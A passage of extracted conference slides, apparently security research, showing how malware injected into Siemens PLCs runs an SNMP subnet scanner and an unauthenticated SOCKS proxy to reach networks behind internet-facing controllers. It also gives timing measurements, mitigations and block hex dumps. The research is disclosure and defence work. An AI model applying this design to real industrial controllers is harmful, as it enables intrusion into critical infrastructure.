◮ connection can only closed when established

◮ UDP: no connection setup, always closable

◮ SNMP enabled in many Siemens PLCs

63 / 100

Page 73: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP Scanner IDetails

Get the PLC’s IP

64 / 100

Page 74: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP Scanner IIDetails

Calculate the subnet mask

65 / 100

Page 75: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP Scanner IIIDetails

Configure UDP connection

66 / 100

Page 76: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SNMP Scanner IVDetails

Send UDP packets (SNMP get request)

67 / 100

Page 77: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details

68 / 100

Page 78: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details I

◮ SOCKS5 protocol (RFC 1928)

◮ Without authentication or encryption

69 / 100

Page 79: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details II

Jump list for protocol states

70 / 100

Page 80: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details III

Receive clients connect request. . .

71 / 100

Page 81: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details IV

. . . and store IP and port

72 / 100

Page 82: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details V

Connect to destination host. . .

73 / 100

Page 83: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details VI

◮ connection to client and destination host are established

◮ now we can proxy

◮ send client’s messages to destination and vice versa

◮ an error while receiving means one partner disconnected

◮ send remaining data then disconnect and wait for nextclient

74 / 100

Page 84: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

SOCKS Proxy – Details VII

◮ The SOCKS implementation on the PLC is able totransfer up to 730 KB/s if it is running alone.

◮ In combination with a memory intensive benchmark PLCprogramm the proxy was able to transfer up to 40KB/s.

75 / 100

Page 85: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attack Video

. . . Video Presentation. . .

76 / 100

Page 86: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Evaluation

77 / 100

Page 87: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

EvaluationQuestions

◮ How much is the execution time increased by injectedSOCKS proxy?

78 / 100

Page 88: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

EvaluationQuestions

Default maximum cycle time = 150 ms

79 / 100

Page 89: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Measurements I

How to measure

◮ Pull data from OB1 PREV CYCLE variable

◮ Store the result in a DB

◮ Upload DB from PLC

◮ Compare values for the baseline program and the SOCKSProxy (idle / under load)

80 / 100

Page 90: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Measurements II

*** = p value ≤ 0.0001

81 / 100

Page 91: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Measurements III

Baseline Proxy idle Proxy under load

Mean 85.32 85.40 86.67Std. Deviation 0.4927 0.5003 0.5239Std. Error 0.01089 0.01106 0.01158

All values in milliseconds (ms)

Result:

◮ There exists a significant but not practically relevanttiming difference between the baseline program and itsmalicious SOCKS proxy version regarding the defaultcycle time of 150 ms.

82 / 100

Page 92: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Mitigation strategies

83 / 100

Page 93: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

84 / 100

Page 94: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Mitigation strategies

1. Network-level access control

2. Enabling protection-level 3

3. If all else fails, means to woo deities to lend disasterprotection

85 / 100

Page 95: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Summary

86 / 100

Page 96: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Summary

◮ Inject malware into a PLC without service disruption

◮ An internet facing PLC can be used as a gateway into thelocal network

◮ This enables an adversary to attack devices behind theInternet-facing PLC

◮ Taking these indirect connected systems into account, theattack surface regarding ICS could be much bigger thanexpected

87 / 100

Page 97: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Q&A

88 / 100

Page 98: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Appendix

89 / 100

Page 99: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Signature

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

90 / 100

Page 100: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Version

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

91 / 100

Page 101: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Attribute

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

92 / 100

Page 102: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Language

STL 01, LAD 02, FBD 03, SCL 04, DB 05, GRAPH 06,SDB 07

00: 7070 0101 0108 0001 0000 0074 0000 0000

10: 02ab 2735 2d03 03a1 6383 21a7 001c 0006

20: 0014 000a c000 c100 ca00 d880 6500 0100

30: 0014 0000 0002 0502 0502 0502 0502 0502

40: 0505 0505 0505 050e 0520 0100 0800 0000

50: 0000 0000 0000 0000 0000 0000 0000 0000

60: 0000 0000 0000 0000 0100 a691 0000 0000

70: 0000 0000

93 / 100

Page 103: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Communication setup

94 / 100

Page 104: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

Communication setup

95 / 100

Page 105: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

AppendixCommunication setup

96 / 100

Page 106: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

AppendixList all blocks

97 / 100

Page 107: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

AppendixList all blocks

98 / 100

Page 108: Internet-Facing PLCs - A New Back Orifice block binary representation Block Type OB 08, DB 0A, SDB 0B, FC 0C, SFC 0D, FB 0E, SFB 0F 00: 7070 0101 0108 0001 0000 0074 0000 0000 10:

AppendixList all blocks – Parameter

99 / 100